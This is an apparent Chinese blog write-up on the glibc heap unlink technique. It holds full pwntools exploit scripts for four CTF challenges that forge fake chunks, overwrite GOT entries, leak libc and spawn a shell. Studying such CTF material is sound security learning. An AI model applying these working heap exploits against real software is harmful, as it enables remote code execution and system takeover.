heap unlink總結(jié)

由于unlink的檢查,一般利用存儲堆地址的地方(可能是個全局?jǐn)?shù)組,全局變量或者其他下次能訪問的地方)的地址-0x18 賦值給fd,-0x10賦值給bk(64位情況下,32位下分別是-0xc,-0x8), 然后構(gòu)造unlink后該地址存儲的堆地址被修改為該地址-0x18的地方,于是再操作目標(biāo)堆就變成操作該地址-0x18上面的數(shù)據(jù),達(dá)到了修改

1.實例2014 HITCON stkof
題目分析
(1)可以指定大小分配內(nèi)存
(2)分配的內(nèi)存的地址存儲在全局?jǐn)?shù)組中
(3)修改時可以寫入任意長度數(shù)據(jù),導(dǎo)致堆溢出,這里可以主動觸發(fā)unlink

總結(jié):
由堆溢出修改下一個chunk的inuse和prev_size并釋放下一個chunk,導(dǎo)致對該chunk的unlink操作.
exp:

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')


def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


def exp():
    # trigger to malloc buffer for io function
    alloc(0x100)  # idx 1
    # begin
    alloc(0x30)  # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)  # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()

2.實例2016 ZCTF note2

題目分析
1.myread里面有整數(shù)下溢出,可導(dǎo)致堆溢出
2.分配的內(nèi)存指針存儲在全局變量數(shù)組
3.和上一個例子差不多,通過堆溢出修改chunk關(guān)鍵字段,free某個chunk時主動觸發(fā)unlink,從而可以修改堆數(shù)組
4.利用atoi的got覆蓋為system,好處在于可以輸入字符串參數(shù)/bin/sh直接調(diào)用,不用構(gòu)造這個參數(shù)了
exp:

# coding=UTF-8
from pwn import *

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)


def shownote(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))


p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')

# chunk0: a fake chunk
ptr = 0x0000000000602120#程序中用來存儲各個note的地址
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
gdb.attach(p)
newnote(128, content)

# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)#此時視為chunk2后面的0xa0大小部分為未使用的,故發(fā)生合并操作,合并之前需要對其unlink

# overwrite the chunk0(which is ptr[0]) with got atoi
#got表地址是直接可以用的,因此將atoigot表地址覆蓋note1地址,這樣讀取的時候會將atoi真正地址讀取出來
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']#再結(jié)合符號表中atoi對libc的偏移即可得到libc基址
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']#同時又可以獲得system真正的地址
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)#通過編輯note1將system地址寫入到atoi 的got表

# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')#再次觸發(fā)執(zhí)行atoi并將此次輸入作為參數(shù),而真正調(diào)用的是system,故能getshell
p.interactive()

3.實例2017 insomni'hack wheelofrobots
程序邏輯比較復(fù)雜,robots和wheel,給robots添加wheel,這個robots不用管它,添加wheel時,有幾種類型:
bender
chain
destructor
tinny
devil
ire

最多分配2個wheel,不能2個是同類型的wheel,每次分配前每個類型的wheel有對應(yīng)的全局標(biāo)識變量標(biāo)識是否已經(jīng)被分配過一次,每次分配的指針存儲在全局變量,這些全局變量在bss連續(xù)挨著的.
其中只有bender,destructor和devil類型的wheel可以設(shè)置自定義大小
可以修改這些wheel的堆內(nèi)容
可以查看某個wheel的堆地址

全局變量的off by one可以修改bender的是否已經(jīng)被使用的標(biāo)識變量
在這里將標(biāo)識修改,從而釋放后重引用,將fd修改為destructor size處,再次分配得到處于destructor size地址的堆,從而可以修改destructor size,再對destructor 堆進(jìn)行溢出,實現(xiàn)unlink,對destructor 修改相當(dāng)于修改這些堆指針,修改tinny指針指向destructor 地址,
這樣再次修改destructor 實現(xiàn)任意地址寫任意數(shù)據(jù)
exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


def add(idx, size=0):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))
    if idx == 2:
        p.recvuntil("Increase Bender's intelligence: ")
        p.sendline(str(size))
    elif idx == 3:
        p.recvuntil("Increase Robot Devil's cruelty: ")
        p.sendline(str(size))
    elif idx == 6:
        p.recvuntil("Increase Destructor's powerful: ")
        p.sendline(str(size))


def remove(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))


def change(idx, name):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))
    p.recvuntil("Robot's name: \n")
    p.send(name)


def start_robot():
    p.recvuntil('Your choice :')
    p.sendline('4')


def overflow_benderinuse(inuse):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Your choice :')
    p.send('9999' + inuse)


def write(where, what):
    change(1, p64(where))
    change(6, p64(what))


def exp():
    print "step 1"
    # add a fastbin chunk 0x20 and free it
    # so it is in fastbin, idx2->NULL
    add(2, 1)  # idx2
    remove(2)
    # overflow bender inuse with 1 
    #對optionnum進(jìn)行溢出,將benderinuse覆蓋為1
    overflow_benderinuse('\x01')
    # change bender's fd to 0x603138, point to bender's size
    # now fastbin 0x20, idx2->0x603138->NULL
    #根據(jù)ida 0x603138是bender's size地址
    change(2, p64(0x603138))
    # in order add bender again
    overflow_benderinuse('\x00')
    # add bender again, fastbin->0x603138->NULL
    add(2, 1)
    # in order to malloc chunk at 0x603138
    # we need to bypass the fastbin size check, i.e. set *0x603140=0x20
    # it is at Robot Devil
    #這個分配不會在fastbin里分配
    add(3, 0x20)#這里會將devil的size設(shè)置為0x20,而他的地址正好是0x603140
    # trigger malloc, set tinny point to 0x603148
    add(1)
    # wheels must <= 3
    remove(2)
    remove(3)

    print 'step 2'
    # alloc Destructor size 60->0x50, chunk content 0x40
    add(6, 3)
    # alloc devil, size=20*7=140, bigger than fastbin
    add(3, 7)
    # edit destructor's size to 1000 by tinny
    change(1, p64(1000))
    # place fake chunk at destructor's pointer
    fakechunk_addr = 0x6030E8
    fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
        fakechunk_addr - 0x10) + p64(0x20)
    fakechunk = fakechunk.ljust(0x40, 'a')
    fakechunk += p64(0x40) + p64(0xa0)
    change(6, fakechunk)
    # trigger unlink,這個執(zhí)行之后destructor指向自己的地址-0x18處,從而編輯destructor就會編輯到
    #tinny 的地址.
    remove(3)

    print 'step 3'
    # make 0x6030F8 point to 0x6030E8
    #所以這個地方將tinny 的地址0x6030F8的內(nèi)容修改為0x6030E8,這時再修改tinny的描述,就會改掉destructor
    #的指向,實現(xiàn)了任意地址寫任意數(shù)據(jù)
    payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
    change(6, payload)

    print 'step 4'
    # make exit just as return
    write(robots.got['exit'], 0x401954)

    print 'step 5'
    # set wheel cnt =3, 0x603130 in order to start robot
    write(0x603130, 3)
    # set destructor point to puts@got
    change(1, p64(robots.got['puts']))
    start_robot()
    p.recvuntil('New hands great!! Thx ')
    puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    log.success('libc base: ' + hex(libc_base))
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    # make free->system
    write(robots.got['free'], system_addr)
    # make destructor point to /bin/sh addr
    write(0x6030E8, binsh_addr)
    # get shell
    remove(6)
    p.interactive()

    pass


if __name__ == "__main__":
    exp()

4.實例note3
題目分析
1.還是負(fù)數(shù)處理的問題,最高位為1,其余位為0時,則加負(fù)號也等于自己 if ( v1 < 0 ) v1 = -v1;
2.還是用一個數(shù)組存儲堆指針.
3.通過修改第3個堆溢出第4個堆,然后free4堆,對第3個堆進(jìn)行unlink,指向數(shù)組的第0項,修改第3項堆內(nèi)容再修改第0項
實現(xiàn)任意地址寫.
總之和note2差不多,只是導(dǎo)致堆溢出條件不同而已
exp:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import time
def malloc(size,data):
    print conn.recvuntil('>>')
    conn.sendline('1')
    print conn.recvuntil('1024)')
    conn.sendline(str(size))
    print conn.recvuntil('content:')
    conn.sendline(data)
    print conn.recvuntil('\n')
def edit(id,data):
    print conn.recvuntil('>>')
    conn.sendline('3')
    print conn.recvuntil('note:')
    conn.sendline(str(id))
    print conn.recvuntil('ent:')
    conn.sendline(data)
    print conn.recvuntil('success')
def free(id):
    print conn.recvuntil('>>')
    conn.sendline('4')
    print conn.recvuntil('note:')
    conn.sendline(str(id))
    print conn.recvuntil('success')

#conn = remote('127.0.0.1',9999)
conn = process('./note3')
elf = ELF('./note3')
libc = conn.libc
free_got = elf.got['free']#p64(0x602018)
puts_got = elf.got['puts']#p64(0x602020)
#stack_got = elf.got['free']#p64(0x602038)
printf_got = elf.got['printf']#vp64(0x602030)
exit_got = elf.got['exit']#p64(0x602078)
printf_plt = elf.plt['printf']#p64(0x400750)
puts_plt = elf.plt['puts']#p64(0x400730)
#libcstartmain_ret_off = 0x21b45
#sys_off = 0x414f0
libcstartmain_ret_off = 0x20740
sys_off = 0x45390
# 1. int overflow lead to double free
intoverflow = -9223372036854775808
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
# 2. make a fake chunk and modify the next chunk's pre size
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
# 3. double free
free(4)
# 4. overwrite got
edit(3,p64(free_got))
#gdb.attach(conn)
#這里有個大坑,free的got和puts的got是挨著的,如果只覆蓋一個會將\x00覆蓋掉puts的低字節(jié)
#因為函數(shù)高字節(jié)的為0x00,所以可以改為p64(xxx)[:-2]避免寫入太多字符覆蓋到puts低字節(jié)
edit(0,p64(printf_plt)+p64(printf_plt))
# 5. leak the stack data
edit(3,p64(0x6020e8))
edit(0,'%llx.'*30)
#free->puts
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
#time.sleep(0.3)
ret =  conn.recvuntil('success')
print ret
# 6. calcuate the system's addr
libcstart = ret.split('.')[10]

libcstart_2 = int(libcstart,16)-0xf0 
libcstart_2 = libcstart_2 - libcstartmain_ret_off
print 'libc start addr:',hex(libcstart_2)
system_addr = libcstart_2 + sys_off
print 'system_addr:',hex(system_addr)
#gdb.attach(conn)
# 7. overwrite free's got
edit(3,p64(free_got))
edit(0,p64(system_addr)+p64(printf_plt))    
# 8. write argv
edit(3,p64(0x6020d0))
edit(0,'/bin/sh\0')
# 9. exploit
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
sleep(0.2)
conn.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容